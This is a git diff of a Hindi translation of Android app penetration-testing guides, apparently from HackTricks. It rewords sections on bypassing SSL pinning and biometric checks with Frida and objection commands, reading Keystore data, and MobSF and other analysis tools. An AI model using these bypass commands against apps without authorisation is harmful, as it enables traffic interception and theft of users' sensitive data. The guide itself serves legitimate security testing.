सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है। +SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना दृढ़ता से अनुशंसित है। #### ट्रैफ़िक निरीक्षण -HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)। +HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)। -**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल का संदर्भ लें**](make-apk-accept-ca-certificate.md)。 +**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें। #### SSL पिनिंग को बायपास करना जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं: -- स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग को बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा। +- स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा। - आप इस सुरक्षा को बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई)। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- आप **SSL पिनिंग को स्वचालित रूप से बायपास करने** के लिए [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` का प्रयास कर सकते हैं। -- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके भी **SSL पिनिंग को स्वचालित रूप से बायपास करने** का प्रयास कर सकते हैं (नीचे समझाया गया)। -- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया) +- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### सामान्य वेब कमजोरियों की खोज -यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के बारे में विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है। +यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के लिए विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है। ### Frida [Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\ -**आप चल रहे एप्लिकेशन तक पहुंच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\ +**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\ यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा। - Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/index.html) - Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में इंगित किए गए अनुसार लोड करके (उपकरण [linjector](https://github.com/erfur/linjector-rs)) +- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करने की कोशिश करें जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित है (उपकरण [linjector](https://github.com/erfur/linjector-rs)) ### **मेमोरी डंप - Fridump** @@ -452,9 +452,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore में संवेदनशील डेटा** -Android में Keystore संवेदनशील डेटा को स्टोर करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकार के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** स्टोर करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है। +Android में Keystore संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकार के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है। -यहां तक कि अगर एक ऐप ने keystore में डेटा स्टोर किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए। +यहां तक कि अगर एक ऐप ने keystore में डेटा संग्रहीत किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए। Keystore के अंदर डेटा तक पहुँचने के लिए आप इस Frida स्क्रिप्ट का उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -462,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है: +निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा कुछ संवेदनशील क्षेत्रों की **सुरक्षा** के लिए किया जा रहा है: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **पृष्ठभूमि छवियाँ** -जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ। +जब आप एक एप्लिकेशन को पृष्ठभूमि में रखते हैं, तो Android **एप्लिकेशन का स्नैपशॉट** संग्रहीत करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है। -हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुंच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)। +हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** है, तो स्नैपशॉट तक पहुंच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)। -स्नैपशॉट आमतौर पर इस स्थान पर स्टोर होते हैं: **`/data/system_ce/0/snapshots`** +स्नैपशॉट आमतौर पर यहाँ संग्रहीत होते हैं: **`/data/system_ce/0/snapshots`** -Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके **स्क्रीनशॉट कैप्चर को रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती। +Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस ध्वज का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती। ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -523,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\ इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा। -MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। +MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। ### MobSF के साथ सहायक गतिशील विश्लेषण @@ -534,15 +534,15 @@ MobSF आपको **diff/Compare** विश्लेषण करने और - **HTTPS ट्रैफ़िक कैप्चर करें** - **Frida** का उपयोग करके **runtime** **जानकारी** प्राप्त करें -Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा। +Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida** शुरू करेगा और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा। **Frida** डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट्स का भी उपयोग करेगा।\ MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है। -गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। **Frida Live Logs** पर दबाएं ताकि Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देख सकें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ -MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। +गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ +MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। ![](<../../images/image (419).png>) @@ -550,7 +550,7 @@ MobSF आपको अपनी **Frida स्क्रिप्ट** लोड - **लोड की गई कक्षाओं की गणना करें**: यह सभी लोड की गई कक्षाओं को प्रिंट करेगा - **स्ट्रिंग कैप्चर करें**: यह अनुप्रयोग का उपयोग करते समय सभी कैप्चर की गई स्ट्रिंग्स को प्रिंट करेगा (बहुत शोर) -- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **2 स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था। +- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **दो स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था। - **कक्षा विधियों की गणना करें**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा की सभी विधियों को प्रिंट करेगा। - **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें - **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा** को **ट्रेस** करें (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है। @@ -571,7 +571,7 @@ receivers **HTTP tools** जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\ -इसके लिए, _Burp को चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))। +इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))। एक बार जब आप MobSF के साथ डायनामिक एनालिसिस समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके। @@ -589,13 +589,13 @@ receivers ### [Yaazhini](https://www.vegabird.com/yaazhini/) -यह एक **great tool है static analysis करने के लिए GUI के साथ** +यह **GUI के साथ स्थिर विश्लेषण करने के लिए एक शानदार टूल है** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -यह टूल कई **security related Android application vulnerabilities** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **capable** है, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है। +यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **सक्षम** है, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है। ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है। +SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके करता है। -सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है। +सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है। -नवीनतम बाइनरी [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें। +नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें। ``` super-analyzer {apk_file} ``` @@ -649,7 +649,7 @@ androbugs.exe -f [APK file] पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ। -यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का निष्कासन, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन... +यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ता का निष्कासन, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि मोबाइल एप्लिकेशनों का OWASP मोबाइल सुरक्षा खतरों के खिलाफ परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। +**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि मोबाइल एप्लिकेशनों का परीक्षण OWASP मोबाइल सुरक्षा खतरों के खिलाफ किया जा सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है। यह सक्षम है: @@ -689,9 +689,9 @@ APK को डिओबफस्केट करने के लिए चर (उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था: - एक संसाधन को InputStream के रूप में लोड करें; -- इसे FilterInputStream से विरासत में मिली एक कक्षा को डिक्रिप्ट करने के लिए परिणाम दें; -- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें; -- डिक्रिप्टेड परिणाम को ZipInputStream में दें ताकि एक DEX फ़ाइल प्राप्त हो सके; +- इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक कक्षा को परिणाम दें; +- एक रिवर्सर से कुछ मिनटों का समय बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें; +- DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें; - अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें। ### [DeGuard](http://apk-deguard.com) @@ -700,13 +700,13 @@ APK को डिओबफस्केट करने के लिए चर आप उनके प्लेटफॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं। -### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) +### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app यह एक LLM उपकरण है जो Android ऐप्स में किसी भी संभावित सुरक्षा कमजोरियों को खोजने और Android ऐप कोड को डिओबफस्केट करने के लिए है। Google के Gemini सार्वजनिक API का उपयोग करता है। ### [Simplify](https://github.com/CalebFenton/simplify) -यह एक **सामान्य Android डिओबफस्केटर** है। Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे समझना मानव के लिए आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि उपयोग की जाने वाली ओबफस्केशन का विशिष्ट प्रकार क्या है। +यह एक **सामान्य Android डिओबफस्केटर** है। Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है। ### [APKiD](https://github.com/rednaga/APKiD) diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 8fc7c78ed..8151027b8 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -35,8 +35,8 @@ Android 5.0(L) से **SELinux** लागू किया गया है। - **permission-group** attribute, जो संबंधित अनुमतियों को समूहित करने की अनुमति देता है। - **protection-level** जो इंगित करता है कि अनुमतियाँ कैसे दी जाती हैं। चार प्रकार हैं: - **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे** नहीं होते हैं। उपयोगकर्ता को **इसे मंजूर करने की आवश्यकता नहीं है**। -- **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से इन्हें मंजूर करने के लिए कहा जाता है**। -- **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात कर रहा है। यह सुरक्षा का सबसे मजबूत प्रकार है। +- **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से उन्हें मंजूर करने के लिए कहा जाता है**। +- **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात करता है। यह सुरक्षा का सबसे मजबूत प्रकार है। - **SignatureOrSystem**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** या **सिस्टम-स्तरीय पहुंच के साथ चलने वाले ऐप्स** को अनुमतियाँ दी जा सकती हैं। ## Pre-Installed Applications 